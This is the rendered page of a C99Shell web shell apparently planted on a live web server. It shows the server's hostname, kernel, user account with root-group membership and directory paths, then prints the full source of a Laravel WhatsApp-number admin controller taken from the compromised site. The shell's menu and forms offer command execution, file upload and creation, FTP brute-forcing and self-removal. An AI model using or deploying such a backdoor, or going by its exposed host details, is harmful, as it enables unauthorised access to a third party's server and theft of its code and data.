!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WhatsAppNumberController.php (8.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Number;
use 
App\Models\NumberRequest;
use 
App\Models\WhatsAppNumber;
use 
App\Models\WhatsAppNumberRequest;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;

class 
WhatsAppNumberController extends Controller
{
    public function 
index(){
        return 
view('admin.whatsapp_number.index');
    }


    public function 
getAll(){
        
$customers=auth()->user()->whatsapp_numbers()->select(['id','number','dynamic_gateway_id','purchase_price','sell_price','status','created_at']);
        return 
datatables()->of($customers)
            ->
addColumn('created_at',function($q){
                return 
$q->created_at->format('d-m-Y');
            })
            ->
addColumn('from',function($q){
                
$gateway=$q->gateway->name;
                return 
$gateway;
            })
            ->
addColumn('purchase_price',function($q){
                return 
formatNumberWithCurrSymbol($q->purchase_price);
            })
            ->
addColumn('sell_price',function($q){
                return 
formatNumberWithCurrSymbol($q->sell_price);
            })
            ->
addColumn('status',function($q){
                if(
$q->status=='active') {
                    
$status'<strong class="text-white bg-success px-2 py-1 rounded status-font-size"> '.ucfirst($q->status).' </strong>';
                }else{
                    
$status'<strong class="text-white bg-danger px-2 py-1 rounded status-font-size"> '.ucfirst($q->status).' </strong>';
                }
                return 
$status;
            })

            ->
addColumn('action',function($q){
                return 
"<a class='btn btn-sm btn-info' href='".route('admin.whatsapp-number.edit',[$q])."' title='Edit'><i class='fa fa-pencil-alt'></i></a> &nbsp; &nbsp;".
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this whats-app number?"
                                        data-action='
.route('admin.whatsapp-number.destroy',[$q]).'
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm" title="Delete"><i class="fa fa-trash"></i></button>' 
;
            })
            ->
rawColumns(['action','status','from','purchase_price','sell_price'])
            ->
toJson();
    }
    public function 
create(){
        
$data['gateways']=auth()->user()->gateways()->where('status''active')->get();

        return 
view('admin.whatsapp_number.create'$data);
    }

    public function 
store(Request $request){
        
$request->validate([
            
'number'=>'required|unique:numbers|regex:/^[0-9\-\+]{9,15}$/',
            
'dynamic_gateway_id'=>'required',
            
'purchase_price'=>'required|numeric',
            
'sell_price'=>'required|numeric',
            
'status'=>'required|in:active,inactive'
        
]);

        
auth()->user()->whatsapp_numbers()->create($request->all());

        return 
back()->with('success',trans('admin.message.whatsapp_number_create'));
    }

    public function 
edit(WhatsAppNumber $whatsapp_number){
        
$data['number']=$whatsapp_number;
        
$data['gateways']=auth()->user()->gateways()->where('status''active')->get();
        return 
view('admin.whatsapp_number.edit',$data);
    }

    public function 
update(WhatsAppNumber $whatsapp_number,Request $request){
        
$request->validate([
            
'purchase_price'=>'required|numeric',
            
'sell_price'=>'required|numeric',
            
'status'=>'required|in:active,inactive'
        
]);

        
$valid_data=$request->only('purchase_price','sell_price','status');

        
//update the model
        
$whatsapp_number->update($valid_data);

        return 
redirect()->route('admin.whatsapp-number.index')->with('success'trans('admin.message.whatsapp_number_update'));
    }

    public function 
requests(){
        return 
view('admin.whatsapp_number.request');
    }

    public function 
get_requests()
    {
        
$requests=auth()->user()->whatsapp_number_requests;

        return 
datatables()->of($requests)
            ->
addColumn('customer',function($q){
                return 
"<a href='" route('admin.customers.edit', [$q->customer_id]) . "'>".$q->customer->full_name."</a>";
            })
            ->
addColumn('number',function($q){
                return 
$q->whatsapp_number->number;
            })
            ->
addColumn('from',function($q){
                return 
$q->whatsapp_number->gateway->name;
            })
            ->
addColumn('purchase_price',function($q){
                return 
$q->whatsapp_number->purchase_price;
            })
            ->
addColumn('sell_price',function($q){
                return 
$q->whatsapp_number->sell_price;
            })
            ->
addColumn('status',function($q){
                if (
$q->status=='pending') {
                    
$status '<strong class="text-white bg-primary px-2 py-1 rounded status-font-size"> ' ucfirst($q->status) . ' </strong>';
                }elseif (
$q->status=='approved'){
                    
$status '<strong class="text-white bg-success px-2 py-1 rounded status-font-size"> ' ucfirst($q->status) . ' </strong>';
                }else{
                    
$status'<strong class="text-white bg-danger px-2 py-1 rounded status-font-size"> '.ucfirst($q->status).' </strong>';
                }
                return 
$status;
            })
            ->
addColumn('action',function(WhatsAppNumberRequest $q){
                return 
'<button class="mr-1 btn btn-sm btn-info" data-message="Are you sure you want to add <b>\''.$q->whatsapp_number->number.'\'</b> to \''.$q->customer->full_name.'\' ?"
                                        data-action='
.route('admin.whatsapp.number.requests.response').'
                                        data-input={"id":"'
.$q->id.'","status":"accepted"}
                                        data-toggle="modal" data-target="#modal-confirm" title="Approveed"><i class="fa fa-check"></i></button>'
.
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to reject the request ?"
                                        data-action='
.route('admin.whatsapp.number.requests.response').'
                                        data-input={"id":"'
.$q->id.'","status":"rejected"}
                                        data-toggle="modal" data-target="#modal-confirm" title="Rejected"><i class="fa fa-times"></i></button>'
;
            })
            ->
rawColumns(['action','customer','status'])
            ->
toJson();
    }

    public function 
request_response(Request $request){
        
$this->validate($request, [
            
'id' => 'required',
            
'status' => 'required|in:accepted,rejected',
        ]);
        
$number_request auth()->user()->whatsapp_number_requests()->where('id'$request->id)->first();
        if (!
$number_request)
            return 
back()->with('fail'trans('admin.message.request_not_found'));

        if(
$number_request->status!='pending')
            return 
back()->with('fail'trans('admin.message.request_not_pending'));

        
$customer auth()->user()->customers()->where('id'$number_request->customer_id)->first();
        if (!
$customer)
            return 
back()->with('fail'trans('admin.message.customer_not_found'));

        
$number WhatsAppNumber::find($number_request->number_id);
        if (!
$number)
            return 
back()->with('fail'trans('admin.message.wh_number_not_found'));

        
$isAssigned $customer->whatsapp_numbers()->where('number_id'$number->id)->first();
        if (
$isAssigned)
            return 
back()->with('fail'trans('admin.message.wh_number_already_assigned'));

        
$number_request->status=$request->status;
        
$number_request->save();

        if(
$request->status=='rejected')
            return 
back()->with('success'trans('admin.message.wh_request_rejected'));

        
$time Carbon::now()->addMonths(1);
        
$customer->whatsapp_numbers()->create(['number_id' => $number->id,'dynamic_gateway_id'=>$number->dynamic_gateway_id ,'number' => $number->number,'expire_date' => $time'cost' => $number->sell_price]);

        return 
back()->with('success'trans('admin.message.wa_number_successfully_added'));
    }

    public function 
destroy(WhatsAppNumber $whatsapp_number){
        if(
$whatsapp_number->customer_whatsapp_numbers){
            return 
back()->with('fail'trans('admin.message.wh_number_already_used'));
        }
        
$whatsapp_number->delete();
        return 
redirect()->route('admin.whatsapp-number.index')->with('success'trans('admin.message.wh_number_deleted'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--